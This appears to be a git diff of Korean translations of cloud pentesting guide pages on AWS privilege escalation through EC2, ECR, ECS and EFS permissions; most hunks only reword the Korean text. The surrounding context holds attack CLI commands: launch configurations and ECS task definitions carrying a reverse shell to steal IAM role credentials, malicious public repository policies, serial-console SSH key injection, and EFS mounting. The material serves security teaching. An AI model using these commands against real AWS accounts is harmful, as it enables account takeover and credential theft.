+**`autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole`** 권한을 가진 공격자는 **IAM 역할**과 **rev shell**을 **사용자 데이터**에 포함한 **Launch Configuration**을 **생성**할 수 있으며, 그 구성에서 **autoscaling 그룹**을 **생성**하고 rev shell이 **IAM 역할**을 **탈취**할 때까지 기다릴 수 있습니다.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -202,7 +202,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
### `!autoscaling`
-권한 세트 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
+권한 집합 **`ec2:CreateLaunchTemplate`** 및 **`autoscaling:CreateAutoScalingGroup`** **는 IAM 역할로 권한을 상승시키기에 충분하지 않습니다**. Launch Configuration 또는 Launch Template에 지정된 역할을 연결하려면 **`iam:PassRole` 및 `ec2:RunInstances` 권한이 필요합니다** (이는 알려진 권한 상승입니다).
### `ec2-instance-connect:SendSSHPublicKey`
@@ -217,9 +217,9 @@ aws ec2-instance-connect send-ssh-public-key \
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한을 가진 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
+**`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** 권한이 있는 공격자는 **직렬 연결에 ssh 키를 추가할 수 있습니다**. 직렬 연결이 활성화되지 않은 경우, 공격자는 **`ec2:EnableSerialConsoleAccess` 권한이 필요합니다**.
-직렬 포트에 연결하기 위해서는 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
+직렬 포트에 연결하려면 **기계 내부의 사용자 이름과 비밀번호를 알아야 합니다**.
```bash
aws ec2 enable-serial-console-access
@@ -233,7 +233,7 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-
```
이 방법은 이를 악용하기 위해 사용자 이름과 비밀번호를 알아야 하므로 권한 상승에 그다지 유용하지 않습니다.
-**Potential Impact:** (매우 입증하기 어려움) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
+**잠재적 영향:** (매우 입증할 수 없음) 실행 중인 인스턴스에 연결된 EC2 IAM 역할로의 직접적인 권한 상승.
### `describe-launch-templates`,`describe-launch-template-versions`
@@ -254,7 +254,7 @@ done
`aws_access_key_id`와 `aws_secret_access_key`를 찾으면, 이 자격 증명을 사용하여 AWS에 인증할 수 있습니다.
-**잠재적 영향:** IAM 사용자에게 직접적인 권한 상승.
+**잠재적 영향:** IAM 사용자에게 직접 권한 상승.
## References
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
index 838021ef8..f0aebad9c 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md
@@ -14,7 +14,7 @@
../aws-post-exploitation/aws-ecr-post-exploitation.md
{{#endref}}
-**Potential Impact:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다.
+**잠재적 영향:** 트래픽에서 민감한 정보를 가로채어 간접적인 권한 상승이 발생할 수 있습니다.
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
@@ -60,7 +60,7 @@ aws ecr set-repository-policy \
### `ecr-public:SetRepositoryPolicy`
이전 섹션과 유사하지만 공개 리포지토리에 대한 것입니다.\
-공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 부여하거나 자신의 권한을 상승시킬 수 있습니다.
+공격자는 ECR Public 리포지토리의 **리포지토리 정책을 수정**하여 무단 공개 액세스를 허용하거나 자신의 권한을 상승시킬 수 있습니다.
```bash
bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
@@ -87,11 +87,11 @@ echo '{
# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
```
-**잠재적 영향**: ECR Public 리포지토리에 대한 무단 공개 접근이 가능하여, 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다.
+**잠재적 영향**: ECR Public 저장소에 대한 무단 공개 접근으로 인해 모든 사용자가 이미지를 푸시, 풀 또는 삭제할 수 있습니다.
### `ecr:PutRegistryPolicy`
-이 권한을 가진 공격자는 **레지스트리 정책**을 **변경**하여 자신, 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.
+이 권한을 가진 공격자는 **레지스트리 정책**을 변경하여 자신, 자신의 계정(또는 모든 사용자)에게 **읽기/쓰기 접근**을 부여할 수 있습니다.
```bash
aws ecr set-repository-policy \
--repository-name \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
index 15759c42c..ac9605c88 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
@@ -4,7 +4,7 @@
## ECS
-ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
+ECS에 대한 **더 많은 정보**는:
{{#ref}}
../aws-services/aws-ecs-enum.md
@@ -12,7 +12,7 @@ ECS에 대한 **더 많은 정보**는 다음에서 확인할 수 있습니다:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
-ECS에서 `iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 포함된 **새 작업 정의**를 **생성**하고 이를 **실행**할 수 있습니다.
+`iam:PassRole`, `ecs:RegisterTaskDefinition` 및 `ecs:RunTask` 권한을 악용하는 공격자는 **악성 컨테이너**가 메타데이터 자격 증명을 훔치는 **새 작업 정의**를 **생성**하고 **실행**할 수 있습니다.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -98,10 +98,10 @@ aws ecs run-task \
이 시나리오는 이전과 유사하지만 **`iam:PassRole`** 권한이 **없는** 경우입니다.\
여전히 흥미로운 점은 임의의 컨테이너를 실행할 수 있다면, 역할 없이도 **특권 컨테이너를 실행하여** 노드로 탈출하고 **EC2 IAM 역할** 및 노드에서 실행 중인 **다른 ECS 컨테이너 역할**을 **탈취**할 수 있다는 것입니다.\
-또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드로의 권한 상승 섹션**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
+또한 **당신이 손상시킨 EC2 인스턴스 내에서 다른 작업을 강제로 실행**하여 그들의 자격 증명을 탈취할 수도 있습니다 (자세한 내용은 [**노드 섹션으로의 권한 상승**](aws-ecs-privesc.md#privesc-to-node)에서 논의됨).
> [!WARNING]
-> 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 Fargate를 사용하지 않는 경우에만 가능합니다.
+> 이 공격은 **ECS 클러스터가 EC2** 인스턴스를 사용하고 있을 때만 가능합니다.
```bash
printf '[
{
@@ -172,7 +172,7 @@ aws ecs execute-command --interactive \
- 그가 **`ecs:CreateService`** 권한이 있다면, `aws ecs create-service --enable-execute-command [...]`로 서비스를 생성하십시오.
- 그가 **`ecs:UpdateService`** 권한이 있다면, `aws ecs update-service --enable-execute-command [...]`로 서비스를 업데이트하십시오.
-**이 옵션의 예시**는 **이전 ECS privesc 섹션**에서 찾을 수 있습니다.
+**이 옵션들의 예시**는 **이전 ECS privesc 섹션**에서 찾을 수 있습니다.
**잠재적 영향:** 컨테이너에 연결된 다른 역할로의 권한 상승.
@@ -186,7 +186,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
-**ec2 privesc 페이지**에서 이 권한을 어떻게 악용하여 **ECS로 권한 상승**할 수 있는지 확인하십시오:
+**ec2 privesc 페이지**에서 이 권한들을 어떻게 악용하여 **ECS로 권한 상승**할 수 있는지 확인하십시오:
{{#ref}}
aws-ec2-privesc.md
@@ -227,7 +227,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
-**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 미치거나 민감한 데이터를 유출할 수 있습니다.
+**잠재적 영향**: 영향을 받는 서비스에서 임의의 코드를 실행하여 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.
## 참조
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
index 00d237229..6ef9dbf05 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
@@ -10,7 +10,7 @@ EFS에 대한 **더 많은 정보**는 다음에서 확인하세요:
../aws-services/aws-efs-enum.md
{{#endref}}
-EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하며 이에 대한 접근 권한(보안 그룹)이 필요합니다. 이러한 상황이 발생하면 기본적으로 항상 마운트할 수 있지만, IAM 정책으로 보호되는 경우 여기에서 언급된 추가 권한이 필요합니다.
+EFS를 마운트하려면 EFS가 노출된 서브네트워크에 있어야 하며 이에 대한 접근 권한(보안 그룹)이 필요합니다. 이러한 조건이 충족되면 기본적으로 항상 마운트할 수 있지만, IAM 정책에 의해 보호되는 경우 여기에서 언급된 추가 권한이 필요합니다.
### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
@@ -53,18 +53,18 @@ aws efs put-file-system-policy --file-system-id --policy file:///tmp/pol
```
### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-이 권한을 통해 공격자는 **EFS를 마운트**할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않는 경우, 그는 **읽기 접근**만 가질 것입니다.
+이 권한을 통해 공격자는 **EFS를 마운트**할 수 있습니다. EFS를 마운트할 수 있는 모든 사용자에게 기본적으로 쓰기 권한이 부여되지 않는 경우, 그는 **읽기 권한**만 가집니다.
```bash
sudo mkdir /efs
sudo mount -t efs -o tls,iam :/ /efs/
```
-The extra permissions `elasticfilesystem:ClientRootAccess` and `elasticfilesystem:ClientWrite` can be used to **write** inside the filesystem after it's mounted and to **access** that file system **as root**.
+추가 권한 `elasticfilesystem:ClientRootAccess` 및 `elasticfilesystem:ClientWrite`는 파일 시스템이 마운트된 후 **쓰기** 및 **루트**로 해당 파일 시스템에 **접근**하는 데 사용할 수 있습니다.
-**Potential Impact:** Indirect privesc by locating sensitive information in the file system.
+**잠재적 영향:** 파일 시스템에서 민감한 정보를 찾아 간접적인 권한 상승.
### `elasticfilesystem:CreateMountTarget`
-공격자가 EFS의 **마운트 대상**이 존재하지 않는 **서브네트워크**에 있는 경우, 이 권한으로 **자신의 서브넷에 하나를 생성**할 수 있습니다.
+공격자가 EFS의 **마운트 대상**이 없는 **서브네트워크**에 있는 경우, 이 권한으로 **자신의 서브넷에 하나를 생성**할 수 있습니다.
```bash
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id